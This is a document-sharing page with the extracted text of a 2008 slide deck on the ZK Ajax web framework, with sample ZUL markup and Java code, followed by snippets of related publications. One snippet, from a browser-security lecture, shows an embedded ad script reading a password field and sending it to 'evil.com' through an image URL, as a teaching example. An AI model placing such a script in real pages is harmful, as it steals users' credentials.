DOCSLIB.ORG

RIA Mit ZK Boost Your Productivity

Total Page：16

File Type：pdf, Size：1020Kb

Download full-text PDF Read full-text
RIA Mit ZK Boost Your Productivity RIA mit ZK Boost your productivity Daniel Seiler, AIA 2008, Mainz Agenda Introduction ZK basics ZK component library We build an application ZK advanced concepts Custom component example Integration example, Gmaps Summary Goals of this session Infect you with the ZK virus You are able to explain the position of ZK in the current RIA Landscape You know the main features, concepts and principles of ZK Daniel Seiler, Processwide AG 3 The problem to solve To build rich, interactive, fast and scalable, distributed business applications ... ... we need a framework and technology that ... ... maximizes our productivity by abstracting and hiding much of the complexity ... provides a rich set of prebuilt components and features ... is easy to extend Daniel Seiler, Processwide AG 4 The big picture Local offline Trad. Distributed Rich (Asynchronous update, sorting, drag & drop, ...) Trad. Web- tools applications applications I nternet (Communication with Webserver) (Standalone, not ('Fat client', corba, RMI, (Page reloading, distributed, ...) local installation, ...) Application (User interactions, data storage, ...) simple controls) Office tools Eclipse RCP Runs in an external Runs directly in a runtime environment browser (No plugin, (plugin or standalone) Ajax) Applets (Java) Javascript Framework Flex (flash) library Laszlo (flash) Curl Captain Casa jQuery Echo2 (Swing, JSF) Prototype GWT Script.aculo.us ICE Faces DWR ZK Daniel Seiler, Processwide AG 5 The right tool for your job R ichness + Rich UI Local offline - Local, no central access tools - Application distribution (e.g. Java Webstart etc...) , User ex + Rich UI Trad. distributed + Proven development model, tool support per applications (Fat) - Application distribution (e.g. Java Webstart etc...) - Complex to build distributed applications ience + Rich UI RIA + Easy application distribution External RTE - Needs installation of RTE - Communication with server not fully out of the box + Quite rich UI RIA y + Distributed by nature ilit Ajax - Slower user experience due to slow Javascript - Needs lot of resources on the server + Everywhere available through standard browser availab Trad. web- l - Poor UI apps - Complex technology stack (HTML, CSS, Javascript, ...) Globa Daniel Seiler, Processwide AG 6 Why Ajax? Basic idea: breaking up the concept of the webpage to allow dynamic updates of certain areas within one page to increase the overall user experience Typical technology stack: XHTML and CSS, Document Object Model, XML and XSLT The XMLHttpRequest object for asynchronous communication JavaScript to bring these technologies together Disadvantages: Traditional webconcepts like back button and bookmarks need to be rethought Indexing through search engines is not guaranteed Depends on Javascript switched on in the browser Complex technology stack Javascript is quite slow. There is hope: (http://www.google.com/chrome) Daniel Seiler, Processwide AG 7 Ajax tools Snippet jQuery, prototype, script.aculo.us, DWR Widget Yahoo UI Library, jbossrichfaces former Ajax4JSF, Dojo Toolkit Framework Backbase, ZK, Echo2, GWT, ICE Faces Daniel Seiler, Processwide AG 8 What is ZK? Web: http://www.zkoss.org Developed by: Potix Corporation 11F-2, No.87, Zhengzhou Road Taipei, 103 Taiwan, Republic of China +886-2-2552-1002 According to wikipedia: http://en.wikipedia.org/wiki/ZK_Framework ZK is an open-source Ajax Web application framework, written in Java, that enables creation of rich graphical user interfaces for Web applications with no JavaScript and little programming knowledge. ZK takes the so called server-centric approach that the content synchronization of components and the event pipelining between clients and servers are automatically done by the engine and Ajax plumbing codes are completely transparent to web application developers. Daniel Seiler, Processwide AG 9 Selling points Open Source: ZK is the leading open source Ajax + Mobile framework. ZK developer community is extremely active with 20+ translations, 100+ articles/blogs, and 100,000+ lines of codes, 700,000+ downloads, from 190+ countries. Rich User Experience: 170+ off-the-shelf state-of-art XUL/HTML-complaint Ajax components. Numerous third party widgets: JFreeChart, JasperReports, Google Maps, FCKeditor, Timeline, Timeplot, ExtJS, Dojo and so on Server push support: Comet and Client polling Standards-based: ZK is a standard-compliant solution. Extensibility and Customizability: ZK is fully customizable and extensible with modular and plug-and-play architecture. Mobile Access: ZK extends the reach of enterprise Internet applications to 1+ billion mobile devices at minimal cost. ZK supports Java Mobile, Android, and various mobile browsers. Security: ZK is designed from the ground up to be secure. Sun is using it for their virtual platform management suite: http://www.openxvm.org/xvmsui.html Daniel Seiler, Processwide AG 10 ZK Products Framework ZK Framework ZK Mobile Application component ZK Spreadsheet Development ZK Studio Enterprise Integration ZK JSP, JSF, Portlet, RSS ZK Forge Integrating third party widgets, such as ZK Gmaps, ZK FCKeditor, ZK Timeline, ZK Ext JS, ZK Dojo and so on Daniel Seiler, Processwide AG 11 ZK's Ajax solution Many Documents One ZUL <window title="Context Menu and Right HTML Click" border="normal" width="360px"> <label value="Move Mouse Over Me!" Simplify tooltip="edit"/> CSS </window> ZK Ajax Framework Javascript IE6 Firefox Opera … Firefox IE7 One Browser Many Browsers Daniel Seiler, Processwide AG 12 Generating an HTML page Browser Server 1. Browser sends an URL 4. ZK events (optional) ex: onCreate() Event DOM ZK Queue Layout 5. ZK Engine 2.Query & events Load page (opt.) Javascript action Internet Application Code 3. Create *.zul components 8. Return (opt.) ZK Client 6. Access persistent layer Engine or other utilities 9. Response 7. Manipulate a HTML page EJB, JDO, components ZK MQ, Mail… components (optional) Daniel Seiler, Processwide AG 13 ZK doing Ajax Daniel Seiler, Processwide AG 14 ZK – Overall picture ZK JSP ZK JSF ZK Portlet ZK RSS ZK Server Push Mobile ZUL/XHTML XML ZK MAX Component SetSec 508 Output ZK Core zscript EL Bean Common Groovy Ruby MV EL OGNL . Shell . EL Daniel Seiler, Processwide AG 15 ZK Components See: http://www.zkoss.org/zkdemo/userguide/ XUL (Mozilla) compliant 170+ off-the-shelf components ▹ grid, tabbox, listbox, combobox, chart, splitter, slider, groupbox… ▹ Context Menu ▹ Drag and Drop ▹ Live data (listbox and grid) ▹ Auto-completion (combobox) ▹ Customizable sorting (listbox and grid) Daniel Seiler, Processwide AG 16 ZUL, EL and zscript <window id="myWindow" title="fileupload demo" border="normal"> <button label="Upload for ${myWindow.title}"> <attribute name="onClick"> { Object media = Fileupload.get(); if (media instanceof org.zkoss.image.Image) { Image image = new Image(); image.setContent(media); image.setParent(pics); } else if (media != null) Messagebox.show("Not an image:" + media, "Error", Messagebox.OK, Messagebox.ERROR); } </attribute> </button> <zscript>myWindow.appendChild(new Button("New Button"));</zscript> <vbox id="pics" /> </window> Lets try it out on the ZK components Demo page ... Daniel Seiler, Processwide AG 17 Our first application 1) User enters his personal data 2) Data gets sent to the server and stored in a DB 3) Table gets updated with the new user Daniel Seiler, Processwide AG 18 Architecture Daniel Seiler, Processwide AG 19 simple.zul <?page id="simplePage" title="Simple ZK Application"?> <zk> <window id="simpleWindow" use="com.processwide.demo.zk.window.SimpleWindow" title="Simple ZK Demo" border="normal" width="800px" height="500px"> <caption label="${simpleWindow.myCaption}" /> Declaration of <grid> external Java class <rows> as view handler <row>Firstname*:<textbox id="firstname" width="300px" /></row> ... Expression language, </rows> default: common-el </grid> ... <button label="Save" onClick="simpleWindow.addPerson()" /> <grid id="personsGrid"> Scripting code, ... default: BeanShell </grid> Placeholder for dynamically </window> updated result table Danie</zkl >Seiler, Processwide AG 20 SimpleWindow.java 1/2 public class SimpleWindow extends Window { private Grid personsGrid; public void onCreate() { createPersonsGrid(); } public String getMyCaption() { return "(C) 2008 by Processwide AG"; } private void createPersonsGrid() { personsGrid = (Grid)Path.getComponent("/simpleWindow/personsGrid"); // add all the persons List<Person> persons = PersonDAO.getInstance().getAllPersons(); for (Iterator<Person> it = persons.iterator(); it.hasNext();) { Person person = it.next(); addPersonRecord(person); } } ... Daniel Seiler, Processwide AG 21 SimpleWindow.java 2/2 ... public void addPerson() { // extracting the person data Textbox firstName = (Textbox) Path.getComponent("/simpleWindow/firstname"); ... Person personBean = new Person(); personBean.setFirstname(firstName.getValue()); ... PersonDAO.getInstance().addPerson(personBean); addPersonRecord(personBean); } public void addPersonRecord(Person person) { Row row = new Row(); Rows rows = personsGrid.getRows(); rows.appendChild(row); row.appendChild(new Label(person.getFirstname())); ... } Daniel Seiler, Processwide AG 22 Add a delete button public void addPersonRecord(final Person person) { final Row row = new Row(); final Rows rows = personsGrid.getRows(); rows.appendChild(row); // create the delete button Button deleteBtn = new Button("delete"); deleteBtn.addEventListener("onClick", new EventListener() { public void onEvent(final Event arg0) throws Exception { //
Load more

Recommended publications
  • Browser Code Isolation
    CS 155 Spring 2014 Browser code isolation John Mitchell Modern web sites are complex Modern web “site” Code from many sources Combined in many ways Sites handle sensitive information ! Financial data n" Online banking, tax filing, shopping, budgeting, … ! Health data n" Genomics, prescriptions, … ! Personal data n" Email, messaging, affiliations, … Others want this information ! Financial data n" Black-hat hackers, … ! Health data n" Insurance companies, … ! Personal data n" Ad companies, big government, … Modern web “site” Code from many sources Combined in many ways Basic questions ! How do we isolate code from different sources n" Protecting sensitive information in browser n" Ensuring some form of integrity n" Allowing modern functionality, flexible interaction Example:Library ! Library included using tag n" <script src="jquery.js"></script> ! No isolation n" Same frame, same origin as rest of page ! May contain arbitrary code n" Library developer error or malicious trojan horse n" Can redefine core features of JavaScript n" May violate developer invariants, assumptions jQuery used by 78% of the Quantcast top 10,000 sites, over 59% of the top million Second example: advertisement <script src=“https://adpublisher.com/ad1.js”></script> <script src=“https://adpublisher.com/ad2.js”></script>! ! Read password using the DOM API var c = document.getElementsByName(“password”)[0] Directly embedded third-party JavaScript poses a threat to critical hosting page resources Send it to evil location (not subject to SOP) <img src=``http::www.evil.com/info.jpg?_info_”>
    [Show full text]
  • Comparison of Common Xml-Based Web User Interface Languages
    Journal of Web Engineering, Vol. 9, No. 2 (2010) 095–115 c Rinton Press COMPARISON OF COMMON XML-BASED WEB USER INTERFACE LANGUAGES MIKKO POHJA Department of Media Technology, Aalto University P.O. Box 15400, FI-00076 Aalto, Finland mikko.pohja@hut.fi Received August 1, 2009 Revised February 25, 2010 In addition to being a platform for information access, the World Wide Web is increas- ingly becoming an application platform. While web applications have several benefits compared to desktop applications, there are also some problems. With legacy HTML, for example, one cannot produce user interfaces such as those that users have become accustomed to with desktop applications. What worked for static documents is not suf- ficient for the complicated web applications of today. Several parties have addressed this problem by defining a specific UI description language. In addition, the renewal of HTML aims to enhance support for web applications. This study evaluated five XML- based UI description formats, including HTML 5, in order to determine which language is best suited for modern web application development. The study also assessed what kind of applications are suited to each format. The requirements for a Web UI descrip- tion language from the literature were revised and three use cases were defined, through which the languages are evaluated. The paper also presents the model differences of the languages. Keywords: Web User Interface Description Language, Web Application Communicated by: D. Lowe & O. Pastor 1 Introduction Commerce and communication tasks, such as the use of e-mail, are common today on the World Wide Web (WWW), as is a trend towards realizing higher interaction tasks, such as in- formation authoring.
    [Show full text]
  • Kinect Based Painter
    PiccasoNect – - Kinect based Painter Introduction Kinect is a line of motion sensing input devices by Microsoft for Xbox 360 and Xbox One video game consoles and Windows PCs. Based around a webcam-style add-on peripheral, it enables users to control and interact with their console/computer without the need for a game controller, through a natural user interface using gestures and spoken commands. Kinect sensor is based on Prime-Sense technology and there are similar sensors on the market such as Asus Xtion and PrimeSense Carmine. (http://en.wikipedia.org/wiki/Kinect) Windows Presentation Foundation (or WPF) is a graphical subsystem for rendering user interfaces in Windows-based applications by Microsoft. WPF attempts to provide a consistent programming model for building applications and separates the user interface from business logic. It resembles similar XML-oriented object models, such as those implemented in XUL and SVG. (http://en.wikipedia.org/wiki/Windows_Presentation_Foundation) Overview In the project we developed a WPF application which allows the user to create a painting using his hands with minimal interactions with the mouse and keyboard. Using the Kinect, the application follows the user's hands movements, and translates them to a brush strokes. The application allows the user to select a brush from several rendering methods. Application requirements Capture user movements using Kinect sensor Paint the desired brush according to the user hands movements Enable several rendering options to choose from Option to save and send via email the finished painting Project Infrastructure The project is A WPF application, based on Microsoft Kinect SDK 1.7.
    [Show full text]
  • 1. the ZK User Interface Markup Language
    1. The ZK User Interface Markup Language The ZK User Interface Markup Language (ZUML) is based on XML. Each XML element describes what component to create. XML This section provides the most basic concepts of XML to work with ZK. If you are familiar with XML, you could skip this section. If you want to learn more, there are a lot of resources on Internet, such as http://www.w3schools.com/xml/xml_whatis.asp and http://www.xml.com/pub/a/98/10/guide0.html. XML is a markup language much like HTML but with stricter and cleaner syntax. It has several characteristics worth to notice. Elements Must Be Well-formed First, each element must be closed. They are two ways to close an element as depicted below. They are equivalent. Close by an end tag: <window></window> Close without an end tag: <window/> Second, elements must be properly nested. Correct: <window> <groupbox> Hello World! </groupbox> </window> Wrong: <window> <groupbox> Hello World! </window> </groupbox> Special Character Must Be Replaced XML uses <element-name> to denote an element, so you have to replace special characters. For example, you have to use &lt; to represent the < character. ZK: Developer's Guide Page 1 of 92 Potix Corporation Special Character Replaced With < &lt; > &gt; & &amp; " &quot; ' &apos; It is interesting to notice that backslash (\) is not a special character, so you don't need to escape it at all. Attribute Values Must Be Specified and Quoted Correct: width="100%" checked="true" Wrong: width=100% checked Comments A comment is used to leave a note or to temporarily edit out a portion of XML code.
    [Show full text]
  • Multi-Platform User Interface Construction – a Challenge for Software Engineering-In-The-Small
    Multi-platform User Interface Construction – A Challenge for Software Engineering-in-the-Small Judith Bishop Department of Computer Science University of Pretoria Pretoria 0002 South Africa [email protected] ABSTRACT The popular view of software engineering focuses on managing 1. INTRODUCTION teams of people to produce large systems. This paper addresses a 1.1 Software engineering different angle of software engineering, that of development for Software engineering as a discipline is perceived as tackling re-use and portability. We consider how an essential part of computing in-the-large. It elevates tools and techniques from the most software products – the user interface – can be successfully level of a craft, to where they can be efficiently and reproducibly engineered so that it can be portable across multiple platforms harnessed for the successful completion of large projects. and on multiple devices. Our research has identified the structure of the problem domain, and we have filled in some of Thirty years ago in 1975, Fred Brooks introduced us to the the answers. We investigate promising solutions from the mythical man month of software development [Brooks 1975] model-driven frameworks of the 1990s, to modern XML-based and followed this with the “no silver bullet” paper, in which he specification notations (Views, XUL, XIML, XAML), multi- talked about software engineering as being a process of building platform toolkits (Qt and Gtk), and our new work, Mirrors software with “specifications, assembly of components, and which pioneers reflective libraries. The methodology on which scaffolding” [Brooks 1987]. Boehm, too, found in 1976 that Views and Mirrors is based enables existing GUI libraries to be software engineering was, encouragingly, concentrating on the transported to new operating systems.
    [Show full text]
  • Javascript: a Beginner’S Guide, Fourth Edition / Pollock / 937-6 / Front Matter Blind Folio: I
    www.allitebooks.com BeginNew-Tight / JavaScript: A Beginner’s Guide, Fourth Edition / Pollock / 937-6 / Front Matter Blind Folio: i JavaScript A Beginner’s Guide Fourth Edition John Pollock New York Chicago San Francisco Lisbon London Madrid Mexico City Milan New Delhi San Juan Seoul Singapore Sydney Toronto www.allitebooks.com 00-FM.indd 1 3/12/13 1:53 PM BeginNew-Tight / JavaScript: A Beginner’s Guide, Fourth Edition / Pollock / 937-6 Copyright © 2013 by The McGraw-Hill Companies. All rights reserved. Except as permitted under the United States Copyright Act of 1976, no part of this publication may be reproduced or distributed in any form or by any means, or stored in a database or retrieval system, without the prior written permission of the publisher, with the exception that the program listings may be entered, stored, and executed in a computer system, but they may not be reproduced for publication. ISBN: 9780071809382 MHID: 0071809384 The material in this e-book also appears in the print version of this title: ISBN: 978-0-07-180937-5, MHID: 0-07-180937-6 McGraw-Hill e-books are available at special quantity discounts to use as premiums and sales promotions, or for use in corporate training programs. To contact a representative please e-mail us at [email protected]. All trademarks are trademarks of their respective owners. Rather than put a trademark symbol after every occurrence of a trademarked name, we use names in an editorial fashion only, and to the benefit of the trademark owner, with no intention of infringement of the trademark.
    [Show full text]
  • ZKTM Mobile for Android the Quick Start Guide
    ppoottiixx SIMPLY REACH ZKTM Mobile for Android The Quick Start Guide Version 0.8.1 Feburary 2008 Potix Corporation ZK Mobile for Android for Android: Quick Start Guide Page 1 of 14 Potix Corporation Copyright © Potix Corporation. All rights reserved. The material in this document is for information only and is subject to change without notice. While reasonable efforts have been made to assure its accuracy, Potix Corporation assumes no liability resulting from errors or omissions in this document, or from the use of the information contained herein. Potix Corporation may have patents, patent applications, copyright or other intellectual property rights covering the subject matter of this document. The furnishing of this document does not give you any license to these patents, copyrights or other intellectual property. Potix Corporation reserves the right to make changes in the product design without reservation and without notification to its users. The Potix logo and ZK are trademarks of Potix Corporation. All other product names are trademarks, registered trademarks, or trade names of their respective owners. ZK Mobile for Android for Android: Quick Start Guide Page 2 of 14 Potix Corporation Table of Contents Before You Start.............................................................................................................. 4 New to ZK Framework.....................................................................................................4 New to Google Android....................................................................................................4
    [Show full text]
  • Dictionary Software Based on Ajax Frameworks
    Seminar Paper Dictionary Software based on Ajax Frameworks Matthias Kerstner Institute for Information Systems and Computer Media Graz University of Technology Head: Herman Maurer O.Univ.-Prof. Dr.Dr.h.c.mult. Supervisor: Denis Helic Dipl.-Ing. Dr.techn. September 2007 Seminar Paper Abstract Abstract The necessity for dictionaries cannot be disputed. Although there are a vast variety of them they all follow a basic schema a key-value combination. It is interesting to see that many of the well known dictionary producers recently also provide electronic versions of their products, ranging from CDROMs over USB media to online databases. With the event of Ajax, web-based applications can be turned into desktop-like environments. It provides developers with an effective way to build web-applications using existing facilities (browsers, etc.), while still profiting from the latest technology. Seminar Paper Contents Contents Abstract ............................................................................................................3 Contents ...........................................................................................................4 List of Figures...................................................................................................5 1. Introduction ...............................................................................................6 2. Dictionaries ...............................................................................................8 3. Ajax Frameworks ......................................................................................9
    [Show full text]
  • Desarrollando Web 2.0 Con JAVA EE 5 Jaime Cid Arquitecto De Soluciones WEB Y SOA Sun Microsystems AGENDA
    Desarrollando Web 2.0 con JAVA EE 5 Jaime Cid Arquitecto de Soluciones WEB y SOA Sun Microsystems http://blogs.sun.com/jaimecid AGENDA 1 – Nuevas olas tecnológicas 2 – Web 2.0 3 – Web 2.0 & Open Source 4 – Tecnologías Web 2.0 5 – AJAX 6 – AJAX con Java EE (J2EE)‏ 7 – Java EE 5 Cabalgando sobre las olas • En la industria de la informatica y las comunicaciones se producen sucesivas olas tecnologicas que de cogerse en el momento oportuno proporcionan una ventana de oportunidad a personas y empresas. Por ello siempre hay que mirar el horizonte y esperar que llega una buena ola, para intentar subirse y que te lleve hasta la orilla. Nuevas Olas Tecnológicas • Virtualización • Computación distribuida, Grid • Web 2.0 • Web Semántica • Open Source • SOA Web 2.0 web 1.0 = read web 2.0 = read/write La era de la participación Todos contribuyendo en la Web ¿Qué es Web 2.0? • La Web como plataforma > El navegador pasa a ser la única aplicación > Correo, Calendario, Contactos, Fotos, Ofimática > El usuario sube y almacena contenido en la Web • Inteligencia Colectiva (Folksonomy)‏ > Categorización colaborativa basada en etiquetas (tags)‏ > La opinión de los usuarios cuenta y mucho. • La información se comparte y se combina > Agregación de datos de diferentes fuentes (Mashups)‏ • Interfaz de usuario equivalente al escritorio > AJAX Web 1.0 --> Web 2.0 • DoubleClick --> Google AdSense • Ofoto --> Flickr • Akamai --> BitTorrent • Britannica Online --> Wikipedia • personal websites --> blogging • domain name speculation --> search engine optimization • page
    [Show full text]
  • Tkgecko: Another Attempt for an HTML Renderer for Tk Georgios Petasis
    TkGecko: Another Attempt for an HTML Renderer for Tk Georgios Petasis Software and Knowledge Engineering Laboratory, Institute of Informatics and Telecommunications, National Centre for Scientific Research “Demokritos”, Athens, Greece [email protected] Abstract The support for displaying HTML and especially complex Web sites has always been problematic in Tk. Several efforts have been made in order to alleviate this problem, and this paper presents another (and still incomplete) one. This paper presents TkGecko, a Tcl/Tk extension written in C++, which allows Gecko (the HTML processing and rendering engine developed by the Mozilla Foundation) to be embedded as a widget in Tk. The current status of the TkGecko extension is alpha quality, while the code is publically available under the BSD license. 1 Introduction The support for displaying HTML and contemporary Web sites has always been a problem in the Tk widget, as Tk does not contain any support for rendering HTML pages. This shortcoming has been the motivation for a large number of attempts to provide support from simple rendering of HTML subsets on the text or canvas widgets (i.e. for implementing help systems) to full-featured Web browsers, like HV3 [1] or BrowseX [2]. The relevant Tcl Wiki page [3] lists more than 20 projects, and it does not even cover all of the approaches that try to embed existing browsers in Tk through COM or X11 embedding. One of the most popular, and thus important, projects is Tkhtml [4], an implementation of an HTML rendering component in C for the Tk toolkit. Tkhtml has been actively maintained for several years, and the current version supports many HTML 4 features, including CCS and possibly JavaScript through the Simple ECMAScript Engine (SEE) [5].
    [Show full text]
  • Here.Is.Only.Xul
    Who am I? Alex Olszewski Elucidar Software Co-founder Lead Developer What this presentation is about? I was personally assigned to see how XUL and the Mozilla way measured up to RIA application development standards. This presentation will share my journey and ideas and hopefully open your minds to using these concepts for application development. RIA and what it means Different to many “Web Applications” that have features and functions of “Desktop” applications Easy install (generally requires only application install) or one-time extra(plug in) Updates automatically through network connections Keeps UI state on desktop and application state on server Runs in a browser or known “Sandbox” environment but has ability to access native OS calls to mimic desktop applications Designers can use asynchronous communication to make applications more responsive RIA and what it means(continued) Success of RIA application will ultimately be measured by how will it can match user’s needs, their way of thinking, and their behaviour. To review RIA applications take advantage of the “best” of both web and desktop apps. Sources: http://www.keynote.com/docs/whitepapers/RichInternet_5.pdf http://en.wikipedia.org/wiki/Rich_Internet_application My First Steps • Find working examples Known Mozilla Applications Firefox Thunderbird Standalone Applications Songbird Joost Komodo FindthatFont Prism (formerly webrunner) http://labs.mozilla.com/featured- projects/#prism XulMine-demo app http://benjamin.smedbergs.us/XULRunner/ Mozilla
    [Show full text]
  • Comparing Javascript Libraries
    www.XenCraft.com Comparing JavaScript Libraries Craig Cummings, Tex Texin October 27, 2015 Abstract Which JavaScript library is best for international deployment? This session presents the results of several years of investigation of features of JavaScript libraries and their suitability for international markets. We will show how the libraries were evaluated and compare the results for ECMA, Dojo, jQuery Globalize, Closure, iLib, ibm-js and intl.js. The results may surprise you and will be useful to anyone designing new international or multilingual JavaScript applications or supporting existing ones. 2 Agenda • Background • Evaluation Criteria • Libraries • Results • Q&A 3 Origins • Project to extend globalization - Complex e-Commerce Software - Multiple subsystems - Different development teams - Different libraries already in use • Should we standardize? Which one? - Reduce maintenance - Increase competence 4 Evaluation Criteria • Support for target and future markets • Number of internationalization features • Quality of internationalization features • Maintained? • Widely used? • Ease of migration from existing libraries • Browser compatibility 5 Internationalization Feature Requirements • Encoding Support • Text Support -Unicode -Case, Accent Mapping -Supplementary Chars -Boundary detection -Bidi algorithm, shaping -Character Properties -Transliteration -Charset detection • Message Formatting -Conversion -IDN/IRI -Resource/properties files -Normalization -Collation -Plurals, Gender, et al 6 Internationalization Feature Requirements
    [Show full text]